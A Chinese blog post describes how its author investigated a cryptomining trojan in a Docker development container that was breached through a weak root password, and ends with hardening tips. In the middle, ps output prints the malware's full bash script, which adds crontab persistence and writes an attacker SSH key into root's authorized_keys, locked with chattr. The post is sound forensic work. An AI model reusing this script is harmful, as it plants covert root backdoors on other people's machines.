#

端午后连到开发服务器上,发现有台服务器 CPU 跑满了,一看进程名字不熟,直接往挖矿木马方向猜,也好久没遇到了,正好记录下排查过程

#

检查一下常用系统命令如 ls、ps、lsof 等链接正常

再检查一下定时任务,发现没有问题

> crontab -e
> vim /var/log/cron

简单查看系统日志,没有发现大问题

> vim /var/log/messages

发现进程是 root 用户起的,那就有两种可能,一种是宿主机被渗透,一种是容器被渗透,前者位于跳板机后面,显然后者出事的概率远大于前者,先查看一下属于 root 用户的进程

> ps -ef|grep root

发现了可疑代码,往 authorized_keys 里写入了公钥并执行了 chattr -i,在宿主机没有发现受影响文件,可以先推论是在容器里执行的

#

发个 SEGV 信号看看 coredump,CentOS 默认开启了 abrtd,随即将生成的相关报告拷贝出来,此时观察到木马并不会立即重启,而是几十分钟后不明原因才会重启

> kill -11 $pid
> cd /var/spool/abrt
> cp -r ccpp-2022-06-08-17:42:23-9763.new ~/dump

进入 abrtd 生成的报告目录,查看 environ

> cat environ
SHELL=/bin/bash
PWD=/var/tmp/.../.logs
LOGNAME=root
HOME=/root
'SSH_CONNECTION=178.128.199.33 35740 172.17.0.7 22'
USER=root
SHLVL=1
'SSH_CLIENT=178.128.199.33 35740 22'
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MAIL=/var/mail/root
OLDPWD=/var/tmp/...
_=/var/tmp/.../.logs/./.report_system

找到可疑 ip,运维同事反馈该机器其实是有公网地址的,于是先删除了机器的公网地址,再在 iptables 上 ban 掉其出入站访问。

接着查看目录下的 proc_pid_status,找到父进程 pid 35261

Name:   .report_system
Umask:  0022
State:  S (sleeping)
Tgid:   9763
Ngid:   0
Pid:    9763
PPid:   35261

查看该父进程的具体操作,可以复盘该父进程的具体操作,启动 sshd -> 启动写入公钥脚本 -> 执行挖矿木马

> ps -ef|grep 35261
root       9763  35261  5 6月08 ?       01:02:02 /var/tmp/.../.logs/./.report_system
root      35261  35241  0 6月02 pts/0   00:00:01 /bin/sh -c /usr/sbin/sshd -D
root      35300  35261  0 6月02 pts/0   00:00:22 /usr/sbin/sshd -D
root     129529  35261  0 6月04 ?       00:04:46 ./run -c 
...

继续追踪 35261 的父 pid 35241,发现

> ps -ef|grep 35241
root      35241      1  0 6月02 ?       00:00:21 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 34019e1cf1b09020bd800d9329eb78f82ec08cfcc13b925bb94ba8a0d8b5e6f3 -address /run/containerd/containerd.sock

从 docker ps 里找到相关信息

> docker ps -a|grep 34019e1
34019e1cf1b0        dockerhub.xxx.com/xxx:dev_20220602                                              "/bin/sh -c '/usr/sb…"    7 days ago          Up 7 days                       8080/tcp, 0.0.0.0:30054->22/tcp

发现是个用于项目调试的 dev 镜像被渗透了,直接逮捕,推测弱密码被扫了(后来询问对应同事,表示容器确实是弱密码root123456)

进入镜像,看看 root 用户的操作,果不其然包含上面找到的相关进程

root@34019e1cf1b0:/var/log# ps -ef|grep root
root          1      0  0 Jun02 pts/0    00:00:01 /bin/sh -c /usr/sbin/sshd -D
root          7      1  0 Jun02 pts/0    00:00:22 /usr/sbin/sshd -D
root      47377      1  4 Jun08 ?        01:02:02 /var/tmp/.../.logs/./.report_system
root      75141      1  0 Jun04 ?        00:04:53 ./run -c                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #!/bin/bash if [ $# != 1 ]; then         echo " usage: $0 > /dev/null 2>&1 & disown" fi  locatie=$(cat /var/tmp/.../.logs/.local) if [ -f /var/tmp/.../.logs/.local ]; then ?: else ?if [ -d /var/tmp/.../.logs ]; then ??echo $(pwd) > /var/tmp/.../.logs/.local ?else ??mkdir /var/tmp/.../.logs ??echo $(pwd) > /var/tmp/.../.logs/.local ?fi fi  crontabcalumea() { ?if ! crontab -l | grep -q 'run'; then ??rm -rf $(cat /var/tmp/.../.logs/.local)/.tempo ??echo "@daily $(cat /var/tmp/.../.logs/.local)/1" >> $(cat /var/tmp/.../.logs/.local)/.tempo ??sleep 1 ??echo "@reboot $(cat /var/tmp/.../.logs/.local)/run > /dev/null 2>&1 & disown" >> $(cat /var/tmp/.../.logs/.local)/.tempo ??sleep 1 ??echo "@monthly $(cat /var/tmp/.../.logs/.local)/run  > /dev/null 2>&1 & disown" >> $(cat /var/tmp/.../.logs/.local)/.tempo ??sleep 1 ??crontab $(cat /var/tmp/.../.logs/.local)/.tempo ??sleep 1 ??rm -rf $(cat /var/tmp/.../.logs/.local)/.tempo ?fi }  sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDovRWmzS8V/DgQT1cGJVMrEmAuV2sakovs/RjOYeNcOT+54n9gjEIbogGdTdHEaKnM6jI56qQxixmf/tWq7edwIdyVnn/YPDmMBPzm69y5AMq3nVev2XZAttvTId84YXl24+o7+40TG9GEjQhTCnpFwTOfjKKjr38S2lAi+Y39GvIchS7UW0K4i32K+J7TGStbKOhhfMG2PKaf9XwPPEUOev3xD2fjt4gYdNQpjZ1MU7+H+u6sYhbBrRza/pK/J/kPVzkgIBwkR293QC1viEBevCjcZ1c0AukbooF8LjmwftdeOwiA5ykn6FFRM2DqNR4vAnt2rDvkSY/rWyV7LNzd systemid" chattr -i /root/.ssh ; chattr -i /root/.ssh/authorized_keys echo $sshkey > "/root/.ssh/authorized_keys" chmod 600 /root/.ssh/authorized_keys chattr +i /root/.ssh/authorized_keys  sleep 5 while : do $(cat /var/tmp/.../.logs/.local)/1 crontabcalumea sleep 5 done   ./run
root     105442      0  0 14:10 pts/1    00:00:00 bash
root     110067  75141  0 14:40 ?        00:00:00 sleep 1

在 /var/tmp 下发现之前所有涉及的文件

root@34019e1cf1b0:/var/tmp/.../.logs# ls -a
.  ..  .local  .report_system  1  run

保存样本,手里是 m1 的工作机器,不方便在这机器调试,就在微步云沙箱上跑了一下,也能发现对应 IOC

Docker 容器清理案发现场就是简单,和相关同事同步一下,把容器 rm -f 就行。

#

一些经验总结:

  1. 远程调试 Docker 容器确实能提高开发效率,但使用时尽量打开仅限秘钥登录,并且使用非默认端口,原始容器可能使用弱密码记得修改
  2. 调试完记得即时关闭容器,暴露在外网的时间越短越安全
  3. 机器放在跳板机后不是绝对安全,有可能跳板机只能防得住你
-- END --

Copyright ©2014 - 2020 Chiaki's Blog

Driven - Mikoto. Theme - Natsukaze. Build 202007-1adcf